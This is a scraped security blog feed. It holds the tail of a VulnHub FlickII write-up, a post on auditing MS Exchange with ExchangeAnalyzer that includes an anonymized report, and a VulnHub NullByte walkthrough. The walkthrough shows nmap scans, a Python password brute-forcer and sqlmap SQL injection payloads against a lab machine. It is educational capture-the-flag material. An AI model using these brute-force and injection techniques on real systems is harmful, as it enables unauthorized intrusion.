<span class="err">▓██</span><span class="w"> </span><span class="err">▒▓██▒</span><span class="w"> </span><span class="err">▓██▒▒██▀</span><span class="w"> </span><span class="err">▀█</span><span class="w"> </span><span class="err">██▄█▒</span><span class="w"> </span><span class="err">▓██▒▓██▒</span>
<span class="err">▒████</span><span class="w"> </span><span class="err">░▒██░</span><span class="w"> </span><span class="err">▒██▒▒▓█</span><span class="w"> </span><span class="err">▄</span><span class="w"> </span><span class="err">▓███▄░</span><span class="w"> </span><span class="err">▒██▒▒██▒</span>
<span class="err">░▓█▒</span><span class="w"> </span><span class="err">░▒██░</span><span class="w"> </span><span class="err">░██░▒▓▓▄</span><span class="w"> </span><span class="err">▄██▒▓██</span><span class="w"> </span><span class="err">█▄</span><span class="w"> </span><span class="err">░██░░██░</span>
<span class="err">░▒█░</span><span class="w"> </span><span class="err">░██████▒░██░▒</span><span class="w"> </span><span class="err">▓███▀</span><span class="w"> </span><span class="err">░▒██▒</span><span class="w"> </span><span class="err">█▄░██░░██░</span>
<span class="err">▒</span><span class="w"> </span><span class="err">░</span><span class="w"> </span><span class="err">░</span><span class="w"> </span><span class="err">▒░▓</span><span class="w"> </span><span class="err">░░▓</span><span class="w"> </span><span class="err">░</span><span class="w"> </span><span class="err">░▒</span><span class="w"> </span><span class="err">▒</span><span class="w"> </span><span class="err">░▒</span><span class="w"> </span><span class="err">▒▒</span><span class="w"> </span><span class="err">▓▒░▓</span><span class="w"> </span><span class="err">░▓</span>
<span class="err">░</span><span class="w"> </span><span class="err">░</span><span class="w"> </span><span class="err">░</span><span class="w"> </span><span class="err">▒</span><span class="w"> </span><span class="err">░</span><span class="w"> </span><span class="err">▒</span><span class="w"> </span><span class="err">░</span><span class="w"> </span><span class="err">░</span><span class="w"> </span><span class="err">▒</span><span class="w"> </span><span class="err">░</span><span class="w"> </span><span class="err">░▒</span><span class="w"> </span><span class="err">▒░</span><span class="w"> </span><span class="err">▒</span><span class="w"> </span><span class="err">░</span><span class="w"> </span><span class="err">▒</span><span class="w"> </span><span class="err">░</span>
<span class="err">░</span><span class="w"> </span><span class="err">░</span><span class="w"> </span><span class="err">░</span><span class="w"> </span><span class="err">░</span><span class="w"> </span><span class="err">▒</span><span class="w"> </span><span class="err">░░</span><span class="w"> </span><span class="err">░</span><span class="w"> </span><span class="err">░░</span><span class="w"> </span><span class="err">░</span><span class="w"> </span><span class="err">▒</span><span class="w"> </span><span class="err">░</span><span class="w"> </span><span class="err">▒</span><span class="w"> </span><span class="err">░</span>
<span class="w"> </span><span class="err">░</span><span class="w"> </span><span class="err">░</span><span class="w"> </span><span class="err">░</span><span class="w"> </span><span class="err">░</span><span class="w"> </span><span class="err">░</span><span class="w"> </span><span class="err">░</span><span class="w"> </span><span class="err">░</span><span class="w"> </span><span class="err">░</span><span class="w"> </span><span class="err">░</span>
<span class="w"> </span><span class="err">░</span>
<span class="n">You</span><span class="w"> </span><span class="n">have</span><span class="w"> </span><span class="n">successfully</span><span class="w"> </span><span class="n">completed</span><span class="w"> </span><span class="n">FlickII</span><span class="err">!</span>
<span class="n">I</span><span class="w"> </span><span class="n">hope</span><span class="w"> </span><span class="n">you</span><span class="w"> </span><span class="n">learnt</span><span class="w"> </span><span class="k">as</span><span class="w"> </span><span class="n">much</span><span class="w"> </span><span class="k">as</span><span class="w"> </span><span class="n">I</span><span class="w"> </span><span class="n">did</span><span class="w"> </span><span class="k">while</span>
<span class="n">making</span><span class="w"> </span><span class="n">it</span><span class="err">!</span><span class="w"> </span><span class="ow">Any</span><span class="w"> </span><span class="n">comments</span><span class="o">/</span><span class="n">suggestions</span><span class="w"> </span><span class="n">etc</span><span class="p">,</span>
<span class="n">feel</span><span class="w"> </span><span class="k">free</span><span class="w"> </span><span class="k">to</span><span class="w"> </span><span class="k">catch</span><span class="w"> </span><span class="n">me</span><span class="w"> </span><span class="k">on</span><span class="w"> </span><span class="n">freenode</span><span class="w"> </span><span class="ow">in</span>
<span class="n">#vulnhub</span><span class="w"> </span><span class="ow">or</span><span class="w"> </span><span class="k">on</span><span class="w"> </span><span class="n">twitter</span><span class="w"> </span><span class="nv">@leonjza</span>
</code></pre></div>
<h2>Conclusion</h2>
<p>This was a really great challange! The android part was a really new to me. The
exploitation part was very interesting!.</p>
<p>Many thanks to TurboSmouem for the challange and as usual thanks to vulnhub.</p>Auditing Exchange Server2016-02-29T21:49:00+01:002016-02-29T21:49:00+01:00maggicktag:maggick.fr,2016-02-29:/2016/02/auditing-exchange-server.html<p><img alt="ExchangeAnalyser" class="align-left" src="/media/2016.02/exchange.png" width="252"/></p>
<p>Recently I performed a MS Exchange configuration review. For the "old" version
of exchange we can use the
Microsoft Exchange Best Practices Analyzer (link is dead)
For the new version of MS Exchange (2013 and 2016) the tools must be download
from the office 365 market (link is dead).
But most of the MS Exchange server are not directly connected to internet. That
is why I used a tool developed by Paul Cunningham: <a href="https://github.com/cunninghamp/ExchangeAnalyzer">Exchange Analyzer available on github</a>.</p>
<p><img alt="ExchangeAnalyser" class="align-left" src="/media/2016.02/exchange.png" width="252"/></p>
<p>Recently I performed a MS Exchange configuration review. For the "old" version
of exchange we can use the
Microsoft Exchange Best Practices Analyzer (link is dead)
For the new version of MS Exchange (2013 and 2016) the tools must be download
from the office 365 market (link is dead).
But most of the MS Exchange server are not directly connected to internet. That
is why I used a tool developed by Paul Cunningham: <a href="https://github.com/cunninghamp/ExchangeAnalyzer">Exchange Analyzer available on github</a>.</p>
<h2>Getting and installing the script</h2>
<p>The documentation is clear, you just need to download the last zip archive on
the "official website" (link is dead),
extract the files, put files in the <code>Modules</code> folder into
<code>C:\Windows\System32\WindowsPowerShell\V1.0\Modules</code> and launch the script.</p>
<h2>Tests</h2>
<p>There is actually seven tests implemented:</p>
<ol>
<li>EXSRV001: checks that all MS Exchange servers in the organization use MS
Exchange 2013 or 2016.</li>
<li>EXSRV002: checks the build version of each server to determine whether it is
running the last build for the MS Exchange version (<em>Internet connection is
required</em>).</li>
<li>CAS001: tests each Exchange site to determine whether more than one CAS URL/namespace
exists for each HTTPS service.</li>
<li>CAS002: tests each CAS URL to determine whether it contains a server FQDN.</li>
<li>DB001: tests each mailbox database to determine whether the database has been
backed up in the last 24 hours.</li>
<li>AD001: verifies that the Active Directory Domain level is at the correct
level.</li>
<li>AD002: verifies that the Active Directory Forest level is Windows 2008 or
greater.</li>
</ol>
<p>More tests will come in a quite near future as both
<a href="https://github.com/cunninghamp/ExchangeAnalyzer/pulls">pull requests</a> and
<a href="https://github.com/cunninghamp/ExchangeAnalyzer/issues">issues</a> are currently
open on github.</p>
<h2>Results</h2>
<p>The result is simple, it is a HTML file with the different tests and a past or
fail attribute. The script need an internet connection to check the latest build
number. As there where no direct access to the internet from the MS Exchange
servers of my client, the test failed with a Warning and output the error
message: "Unable to connect to remote server".
Moreover my client did not wish to backup its databases so the test DB001
failed.</p>
<p>Below is a sample of this output, I have just anonymize it and reduce the
number of server.</p>
<h2>Output</h2>
<html>
<style>
BODY{font-family: Arial; font-size: 10pt;}
H1{font-size: 22px;}
H2{font-size: 20px; padding-top: 10px;}
H3{font-size: 16px; padding-top: 8px;}
TABLE{border: 1px solid black; border-collapse: collapse; font-size: 8pt;}
TH{border: 1px solid black; background: #dddddd; padding: 5px; color: #000000;}
TD{border: 1px solid black; padding: 5px; }
td.pass{background: #7FFF00;}
td.warn{background: #FFE600;}
td.fail{background: #FF0000; color: #ffffff;}
td.info{background: #85D4FF;}
ul{list-style: inside; padding-left: 0px;}
</style>
<body><h1 align="center">Exchange Analyzer Report</h1>
<h3 align="center">Generated: 02/18/2016 11:38:42</h3>
<h3 align="center">Organization: CLIENT</h3>
<p>The following guidelines apply to this report:
<ul>
<li>This tests included in this report are documented on the <a href="https://github.com/cunninghamp/ExchangeAnalyzer/wiki/Exchange-Analyzer-Tests">Exchange Analyzer Wiki</a>.</li>
<li>Click the "More Info" link for each test to learn more about that test, what a pass or fail means, and recommendations for how to respond.</li>
<li>A test can fail if it can't complete successfully, or if a condition was encountered that requires manual assessment.</li>
<li>For some organizations a failed test may be due to a deliberate design or operational decision.</li>
<li>Please review the <a href="https://github.com/cunninghamp/ExchangeAnalyzer/wiki/Frequently-Asked-Questions">Frequently Asked Questions</a> if you have any further questions.</li>
</ul>
</p><h2 align="center">Summary:</h2>
<p align="center">
<table>
<tr>
<th>Passed</th>
<th>Warning</th>
<th>Failed</th>
<th>Info</th>
</tr>
<tr>
<td class="pass">4</td>
<td class="warn">1</td>
<td class="fail">2</td>
<td class="info">0</td>
</tr>
</table>
</p><h2>Category: Exchange Servers</h2><p>
<table>
<tr>
<th>Test ID</th>
<th>Test Category</th>
<th>Test Name</th>
<th>Test Outcome</th>
<th>Passed Objects</th>
<th>Failed Objects</th>
<th>Comments</th>
<th>Reference</th>
</tr><tr><td>EXSRV001</td><td>Exchange Servers</td><td>Exchange Versions</td><td class="pass">Passed</td><td><ul><li>WindowsServer1</li><li>WindowsServer2</li><li>WindowsServer3</li></ul></td><td>n/a</td><td>All Exchange servers in the organization are Exchange 2013/2016.</td><td><a href="https://github.com/cunninghamp/ExchangeAnalyzer/wiki/EXSRV001" target="_blank">More Info</a></td><tr><td>EXSRV002</td><td>Exchange Servers</td><td>Build Numbers</td><td class="warn">Warning</td><td>n/a</td><td>n/a</td><td>Errors were encountered. An error occurred. Unable to connect to remote server</td><td><a href="https://github.com/cunninghamp/ExchangeAnalyzer/wiki/EXSRV002" target="_blank">More Info</a></td></tr></tr></table></p><h2>Category: Client Access</h2><p>Summary of Client Access URLs/Namespaces:</p><table>
<tr>
<th colspan="3">Server: WindowsServer1, Site: </th>
</tr>
<tr>
<th>Service</th>
<th>Internal URL</th>
<th>External Url</th>
</tr>
<tr>
<td>Outlook Anywhere</td>
<td>outlook-csh-ge.client.com</td>
<td>Not set</td>
</tr>
<tr>
<td>MAPI/HTTP</td>
<td>https://windowsserver1.client.local/mapi</td>
<td>Not set</td>
</tr>
<tr>
<td>Outlook on the web (OWA)</td>
<td>https://mail.client.com/OWA https://mail.client.com/OWA</td>
<td> </td>
</tr>
<tr>
<td>Exchange Control Panel</td>
<td>https://mail.client.com/ecp https://mail.client.com/ecp</td>
<td> </td>
</tr>
<tr>
<td>ActiveSync</td>
<td>https://eas.client.com/Microsoft-Server-ActiveSync</td>
<td>Not set</td>
</tr>
<tr>
<td>Offline Address Book</td>
<td>https://oab-csh-ge.client.com/OAB</td>
<td>Not set</td>
</tr>
<tr>
<td>Exchange Web Access</td>
<td>https://ews-csh-ge.client.com/EWS/Exchange.asmx</td>
<td>Not set</td>
</tr>
<tr>
<td>AutoDiscover</td>
<td>https://autodiscover-csh-ge.client.com/autodiscover/autodiscover.xml</td>
<td>n/a</td>
</tr>
</table>
<table>
<tr>
<th colspan="3">Server: WindowsServer2, Site: </th>
</tr>
<tr>
<th>Service</th>
<th>Internal URL</th>
<th>External Url</th>
</tr>
<tr>
<td>Outlook Anywhere</td>
<td>outlook-csh-ge.client.com</td>
<td>Not set</td>
</tr>
<tr>
<td>MAPI/HTTP</td>
<td>https://windowsserver2.client.local/mapi</td>
<td>Not set</td>
</tr>
<tr>
<td>Outlook on the web (OWA)</td>
<td>https://mail.client.com/OWA https://mail.client.com/OWA</td>
<td> </td>
</tr>
<tr>
<td>Exchange Control Panel</td>
<td>https://mail.client.com/ecp https://mail.client.com/ecp</td>
<td> </td>
</tr>
<tr>
<td>ActiveSync</td>
<td>https://eas.client.com/Microsoft-Server-ActiveSync</td>
<td>Not set</td>
</tr>
<tr>
<td>Offline Address Book</td>
<td>https://oab-csh-ge.client.com/OAB</td>
<td>Not set</td>
</tr>
<tr>
<td>Exchange Web Access</td>
<td>https://ews-csh-ge.client.com/EWS/Exchange.asmx</td>
<td>Not set</td>
</tr>
<tr>
<td>AutoDiscover</td>
<td>https://autodiscover-csh-ge.client.com/autodiscover/autodiscover.xml</td>
<td>n/a</td>
</tr>
</table>
<table>
<tr>
<th colspan="3">Server: WindowsServer3, Site: </th>
</tr>
<tr>
<th>Service</th>
<th>Internal URL</th>
<th>External Url</th>
</tr>
<tr>
<td>Outlook Anywhere</td>
<td>outlook-csh-ge.client.com</td>
<td>Not set</td>
</tr>
<tr>
<td>MAPI/HTTP</td>
<td>https://windowsserver3.client.local/mapi</td>
<td>Not set</td>
</tr>
<tr>
<td>Outlook on the web (OWA)</td>
<td>https://mail.client.com/OWA https://mail.client.com/OWA</td>
<td> </td>
</tr>
<tr>
<td>Exchange Control Panel</td>
<td>https://mail.client.com/ecp https://mail.client.com/ecp</td>
<td> </td>
</tr>
<tr>
<td>ActiveSync</td>
<td>https://eas.client.com/Microsoft-Server-ActiveSync</td>
<td>Not set</td>
</tr>
<tr>
<td>Offline Address Book</td>
<td>https://oab-csh-ge.client.com/OAB</td>
<td>Not set</td>
</tr>
<tr>
<td>Exchange Web Access</td>
<td>https://ews-csh-ge.client.com/EWS/Exchange.asmx</td>
<td>Not set</td>
</tr>
<tr>
<td>AutoDiscover</td>
<td>https://autodiscover-csh-ge.client.com/autodiscover/autodiscover.xml</td>
<td>n/a</td>
</tr>
</table>
<p>
<table>
<tr>
<th>Test ID</th>
<th>Test Category</th>
<th>Test Name</th>
<th>Test Outcome</th>
<th>Passed Objects</th>
<th>Failed Objects</th>
<th>Comments</th>
<th>Reference</th>
</tr><tr><td>CAS001</td><td>Client Access</td><td>Client Access Namespaces</td><td class="fail">Failed</td><td>n/a</td><td><ul><li>AAA-BB-PROJET</li><li>AAA-SUD-PROJET</li></ul></td><td>One or more Exchange sites has more than one namespace per HTTPS protocol.</td><td><a href="https://github.com/cunninghamp/ExchangeAnalyzer/wiki/CAS001" target="_blank">More Info</a></td><tr><td>CAS002</td><td>Client Access</td><td>Server FQDNs in URLs</td><td class="pass">Passed</td><td><ul><li>WindowsServer1</li><li>WindowsServer2</li><li>WindowsServer3</li></ul></td><td>n/a</td><td>No Exchange HTTPS services have URLs containing server FQDNs.</td><td><a href="https://github.com/cunninghamp/ExchangeAnalyzer/wiki/CAS002" target="_blank">More Info</a></td></tr></tr></table></p><h2>Category: Databases</h2><p>
<table>
<tr>
<th>Test ID</th>
<th>Test Category</th>
<th>Test Name</th>
<th>Test Outcome</th>
<th>Passed Objects</th>
<th>Failed Objects</th>
<th>Comments</th>
<th>Reference</th>
</tr><tr><td>DB001</td><td>Databases</td><td>Database Backups</td><td class="fail">Failed</td><td>n/a</td><td><ul><li>DAG2-DB01 (Never)</li><li>DAG2-DB13 (Never)</li><li>DAG1-DB36 (Never)</li></ul></td><td>One or more Exchange databases has not been backed up within the last 24 hours.</td><td><a href="https://github.com/cunninghamp/ExchangeAnalyzer/wiki/DB001" target="_blank">More Info</a></td></tr></table></p><h2>Category: Active Directory</h2><p>
<table>
<tr>
<th>Test ID</th>
<th>Test Category</th>
<th>Test Name</th>
<th>Test Outcome</th>
<th>Passed Objects</th>
<th>Failed Objects</th>
<th>Comments</th>
<th>Reference</th>
</tr><tr><td>AD001</td><td>Active Directory</td><td>AD Domain Level</td><td class="pass">Passed</td><td><ul><li>client.local (Windows Server 2008 R2)</li></ul></td><td>n/a</td><td>All Active Directory domains meet the required functional level.</td><td><a href="https://github.com/cunninghamp/ExchangeAnalyzer/wiki/AD001" target="_blank">More Info</a></td><tr><td>AD002</td><td>Active Directory</td><td>AD Forest Level</td><td class="pass">Passed</td><td><ul><li>client.local (Windows Server 2008 R2)</li></ul></td><td>n/a</td><td>The Active Directory forest meets the required functional level.</td><td><a href="https://github.com/cunninghamp/ExchangeAnalyzer/wiki/AD002" target="_blank">More Info</a></td></tr></tr></table></p><p align="center">Report created by <a href="http://exchangeanalyzer.com">Exchange Analyzer</a></p>
</body>
</html>Vulnhub - NullByte2015-09-11T16:55:00+02:002015-09-11T16:55:00+02:00maggicktag:maggick.fr,2015-09-11:/2015/09/vulnhub-nullbyte.html<p><img alt="NullByte" class="align-left" src="/media/2015.09/main.gif" width="162"/></p>
<p>After the <a href="/2015/09/vulnhub-acid.html">Acid</a> challenge I was
really motivated. Therefore I give a look at another vulnhub machine I had already
download since a while:
<a href="https://www.vulnhub.com/entry/nullbyte-1,126/">NullByte</a>.</p>
<p><img alt="NullByte" class="align-left" src="/media/2015.09/main.gif" width="162"/></p>
<p>After the <a href="/2015/09/vulnhub-acid.html">Acid</a> challenge I was
really motivated. Therefore I give a look at another vulnhub machine I had already
download since a while:
<a href="https://www.vulnhub.com/entry/nullbyte-1,126/">NullByte</a>.</p>
<p>The goal is to root the server.</p>
<h2>Host discovery</h2>
<p>As always, we start with the host discovery with <a href="http://nmap.org">nmap</a>,
<a href="https://cirt.net/Nikto2">nikto</a> and
<a href="https://www.owasp.org/index.php/Category:OWASP_DirBuster_Project">dirbuster</a>:</p>
<h3>nmap</h3>
<div class="highlight"><pre><span></span><code>nmap 192.168.0.20 -p0-65535 -A -oA nmap
# Nmap 6.47 scan initiated Thu Sep 10 10:01:29 2015 as: nmap -p0-65535 -A -oA nmap 192.168.0.20
Nmap scan report for 192.168.0.20
Host is up (0.0089s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-title: Null Byte 00 - level 1
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100024 1 34677/tcp status
|_ 100024 1 37785/udp status
777/tcp open ssh OpenSSH 6.7p1 Debian 5 (protocol 2.0)
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
34677/tcp open status 1 (RPC #100024)
MAC Address: A0:88:B4:C7:17:2C (Intel Corporate)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.11 - 3.14
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
</code></pre></div>
<p>There is an HTTP server on the port 80 and an ssh service on port 777.</p>
<h2>Exploitation</h2>
<p>The web server display a picture with a simple message. Neither nikto nor
dirbuster give us some lead. Let us run <code>exiftool</code> on the picture:</p>
<h3>main.gif</h3>
<p><img alt="main.gif" src="/media/2015.09/main.gif"/></p>
<p>The comment filed is interesting:</p>
<div class="highlight"><pre><span></span><code>ExifTool Version Number : 8.60
File Name : main.gif
Directory : .
File Size : 16 kB
File Modification Date/Time : 2015:09:10 10:07:39+02:00
File Permissions : rw-r--r--
File Type : GIF
MIME Type : image/gif
GIF Version : 89a
Image Width : 235
Image Height : 302
Has Color Map : No
Color Resolution Depth : 8
Bits Per Pixel : 1
Background Color : 0
Comment : P-): kzMb5nVYJw
Image Size : 235x302
</code></pre></div>
<p>What can we do with that?</p>
<h3>kzMb5nVYJw</h3>
<p>If we put this at the end of our url with land on another page. Dirbuster will
never have find something like that!</p>
<p>It is a simple web page asking us for a key. When looking at the page code we
notice:</p>
<blockquote>
<p><!-- this form isn't connected to mysql, password ain't that complex --!></p>
</blockquote>
<p>If there is no SQL injection and the password is simple we need to bruteforce it.
I am not a huge fan of bruteforce but I wrote a simple script that use one of my
password dictionary (mostly common word).</p>
<div class="highlight"><pre><span></span><code><span class="kn">import</span> <span class="nn">requests</span>
<span class="n">url</span> <span class="o">=</span> <span class="s1">'http://192.168.0.20/kzMb5nVYJw/index.php'</span>
<span class="n">f</span><span class="o">=</span><span class="nb">open</span><span class="p">(</span><span class="s1">'/usr/share/dict/cracklib-small'</span><span class="p">,</span> <span class="s1">'r'</span><span class="p">)</span>
<span class="n">password</span><span class="o">=</span><span class="n">f</span><span class="o">.</span><span class="n">readline</span><span class="p">()</span>
<span class="n">data</span> <span class="o">=</span> <span class="p">{</span><span class="s1">'key'</span><span class="p">:</span><span class="n">password</span><span class="p">}</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">data</span> <span class="o">=</span> <span class="n">data</span><span class="p">)</span>
<span class="k">while</span> <span class="s1">'invalid'</span> <span class="ow">in</span> <span class="n">r</span><span class="o">.</span><span class="n">text</span><span class="p">:</span>
<span class="n">password</span><span class="o">=</span><span class="n">f</span><span class="o">.</span><span class="n">readline</span><span class="p">()</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span>
<span class="n">data</span> <span class="o">=</span> <span class="p">{</span><span class="s1">'key'</span><span class="p">:</span><span class="n">password</span><span class="p">}</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">data</span> <span class="o">=</span> <span class="n">data</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="n">password</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="n">r</span><span class="o">.</span><span class="n">text</span><span class="p">)</span>
</code></pre></div>
<p>The password was "elite" and by entering it, we land on a new page.</p>
<h3>420search.php</h3>
<p>The <code>420search.php</code> page let us query for an user. If we search 'plop' we got:</p>
<blockquote>
<p>Fetched data successfully</p>
</blockquote>
<p>If we search nothing we got:</p>
<p>:::text
EMP ID :1
EMP NAME : ramses
EMP POSITION :</p>
<hr/>
<p>EMP ID :2
EMP NAME : isis
EMP POSITION : employee</p>
<hr/>
<p>Fetched data successfully</p>
<p>This time it is probably a SQL injection as there is no mention against it in
the source code :D. If we introduce a double quote we got:</p>
<blockquote>
<p>Could not get data: You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the right syntax to use near
'%"' at line 1</p>
</blockquote>
<p>It looks like an SQL injection.</p>
<h3>SQLi</h3>
<p>Let us launch <a href="http://sqlmap.org">sqlmap</a>:</p>
<div class="highlight"><pre><span></span><code><span class="o">[</span><span class="n">maggick@rootine sqlmap</span><span class="o">]</span><span class="err">$</span><span class="w"> </span><span class="n">python2</span><span class="w"> </span><span class="n">sqlmap</span><span class="p">.</span><span class="n">py</span><span class="w"> </span><span class="o">-</span><span class="n">u</span><span class="w"> </span><span class="s1">'http://192.168.0.20/kzMb5nVYJw/420search.php?usrtosearch=plop'</span>
<span class="w"> </span><span class="n">_</span>
<span class="w"> </span><span class="n">___</span><span class="w"> </span><span class="n">___</span><span class="o">|</span><span class="w"> </span><span class="o">|</span><span class="n">_____</span><span class="w"> </span><span class="n">___</span><span class="w"> </span><span class="n">___</span><span class="w"> </span><span class="err">{</span><span class="mf">1.0</span><span class="o">-</span><span class="n">dev</span><span class="o">-</span><span class="n">e8f87bf</span><span class="err">}</span>
<span class="o">|</span><span class="n">_</span><span class="w"> </span><span class="o">-|</span><span class="w"> </span><span class="p">.</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="p">.</span><span class="s1">'| . |</span>
<span class="s1">|___|_ |_|_|_|_|__,| _|</span>
<span class="s1"> |_| |_| http://sqlmap.org</span>
<span class="s1">[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user'</span><span class="n">s</span><span class="w"> </span><span class="n">responsibility</span><span class="w"> </span><span class="k">to</span><span class="w"> </span><span class="n">obey</span><span class="w"> </span><span class="ow">all</span><span class="w"> </span><span class="n">applicable</span><span class="w"> </span><span class="k">local</span><span class="p">,</span><span class="w"> </span><span class="k">state</span><span class="w"> </span><span class="ow">and</span><span class="w"> </span><span class="n">federal</span><span class="w"> </span><span class="n">laws</span><span class="p">.</span><span class="w"> </span><span class="n">Developers</span><span class="w"> </span><span class="n">assume</span><span class="w"> </span><span class="k">no</span><span class="w"> </span><span class="n">liability</span><span class="w"> </span><span class="ow">and</span><span class="w"> </span><span class="k">are</span><span class="w"> </span><span class="ow">not</span><span class="w"> </span><span class="n">responsible</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="ow">any</span><span class="w"> </span><span class="n">misuse</span><span class="w"> </span><span class="ow">or</span><span class="w"> </span><span class="n">damage</span><span class="w"> </span><span class="n">caused</span><span class="w"> </span><span class="k">by</span><span class="w"> </span><span class="n">this</span><span class="w"> </span><span class="n">program</span>
<span class="o">[</span><span class="n">*</span><span class="o">]</span><span class="w"> </span><span class="n">starting</span><span class="w"> </span><span class="k">at</span><span class="w"> </span><span class="mi">15</span><span class="err">:</span><span class="mi">25</span><span class="err">:</span><span class="mi">23</span>
<span class="o">[</span><span class="n">15:25:23</span><span class="o">]</span><span class="w"> </span><span class="o">[</span><span class="n">INFO</span><span class="o">]</span><span class="w"> </span><span class="n">resuming</span><span class="w"> </span><span class="n">back</span><span class="o">-</span><span class="k">end</span><span class="w"> </span><span class="n">DBMS</span><span class="w"> </span><span class="s1">'mysql'</span><span class="w"> </span>
<span class="o">[</span><span class="n">15:25:23</span><span class="o">]</span><span class="w"> </span><span class="o">[</span><span class="n">INFO</span><span class="o">]</span><span class="w"> </span><span class="n">testing</span><span class="w"> </span><span class="k">connection</span><span class="w"> </span><span class="k">to</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">target</span><span class="w"> </span><span class="n">URL</span>
<span class="n">sqlmap</span><span class="w"> </span><span class="n">identified</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">following</span><span class="w"> </span><span class="n">injection</span><span class="w"> </span><span class="n">points</span><span class="w"> </span><span class="k">with</span><span class="w"> </span><span class="n">a</span><span class="w"> </span><span class="n">total</span><span class="w"> </span><span class="k">of</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="n">HTTP</span><span class="p">(</span><span class="n">s</span><span class="p">)</span><span class="w"> </span><span class="nl">requests</span><span class="p">:</span>
<span class="o">---</span>
<span class="k">Parameter</span><span class="err">:</span><span class="w"> </span><span class="n">usrtosearch</span><span class="w"> </span><span class="p">(</span><span class="k">GET</span><span class="p">)</span>
<span class="w"> </span><span class="nl">Type</span><span class="p">:</span><span class="w"> </span><span class="k">boolean</span><span class="o">-</span><span class="n">based</span><span class="w"> </span><span class="n">blind</span>
<span class="w"> </span><span class="nl">Title</span><span class="p">:</span><span class="w"> </span><span class="ow">OR</span><span class="w"> </span><span class="k">boolean</span><span class="o">-</span><span class="n">based</span><span class="w"> </span><span class="n">blind</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="k">WHERE</span><span class="w"> </span><span class="ow">or</span><span class="w"> </span><span class="k">HAVING</span><span class="w"> </span><span class="n">clause</span><span class="w"> </span><span class="p">(</span><span class="n">MySQL</span><span class="w"> </span><span class="n">comment</span><span class="p">)</span>
<span class="w"> </span><span class="nl">Payload</span><span class="p">:</span><span class="w"> </span><span class="n">usrtosearch</span><span class="o">=-</span><span class="mi">8936</span><span class="ss">" OR 8832=8832#</span>
<span class="ss"> Type: AND/OR time-based blind</span>
<span class="ss"> Title: MySQL >= 5.0.12 AND time-based blind (SELECT - comment)</span>
<span class="ss"> Payload: usrtosearch=plop"</span><span class="w"> </span><span class="ow">AND</span><span class="w"> </span><span class="p">(</span><span class="k">SELECT</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="p">(</span><span class="k">SELECT</span><span class="p">(</span><span class="n">SLEEP</span><span class="p">(</span><span class="mi">5</span><span class="p">)))</span><span class="n">bhRc</span><span class="p">)</span><span class="err">#</span>
<span class="w"> </span><span class="nl">Type</span><span class="p">:</span><span class="w"> </span><span class="ow">UNION</span><span class="w"> </span><span class="n">query</span>
<span class="w"> </span><span class="nl">Title</span><span class="p">:</span><span class="w"> </span><span class="n">MySQL</span><span class="w"> </span><span class="ow">UNION</span><span class="w"> </span><span class="n">query</span><span class="w"> </span><span class="p">(</span><span class="k">NULL</span><span class="p">)</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="mi">3</span><span class="w"> </span><span class="n">columns</span>
<span class="w"> </span><span class="nl">Payload</span><span class="p">:</span><span class="w"> </span><span class="n">usrtosearch</span><span class="o">=</span><span class="n">plop</span><span class="err">"</span><span class="w"> </span><span class="ow">UNION</span><span class="w"> </span><span class="ow">ALL</span><span class="w"> </span><span class="k">SELECT</span><span class="w"> </span><span class="nf">CONCAT</span><span class="p">(</span><span class="mh">0x71706b7871</span><span class="p">,</span><span class="mh">0x5355686d62645446514a</span><span class="p">,</span><span class="mh">0x7162716271</span><span class="p">),</span><span class="k">NULL</span><span class="p">,</span><span class="k">NULL</span><span class="err">#</span>
<span class="o">---</span>
<span class="o">[</span><span class="n">15:25:23</span><span class="o">]</span><span class="w"> </span><span class="o">[</span><span class="n">INFO</span><span class="o">]</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">back</span><span class="o">-</span><span class="k">end</span><span class="w"> </span><span class="n">DBMS</span><span class="w"> </span><span class="k">is</span><span class="w"> </span><span class="n">MySQL</span>
<span class="n">web</span><span class="w"> </span><span class="n">server</span><span class="w"> </span><span class="n">operating</span><span class="w"> </span><span class="k">system</span><span class="err">:</span><span class="w"> </span><span class="n">Linux</span><span class="w"> </span><span class="n">Debian</span>
<span class="n">web</span><span class="w"> </span><span class="n">application</span><span class="w"> </span><span class="nl">technology</span><span class="p">:</span><span class="w"> </span><span class="n">Apache</span><span class="w"> </span><span class="mf">2.4.10</span>
<span class="n">back</span><span class="o">-</span><span class="k">end</span><span class="w"> </span><span class="nl">DBMS</span><span class="p">:</span><span class="w"> </span><span class="n">MySQL</span><span class="w"> </span><span class="mf">5.0.12</span>
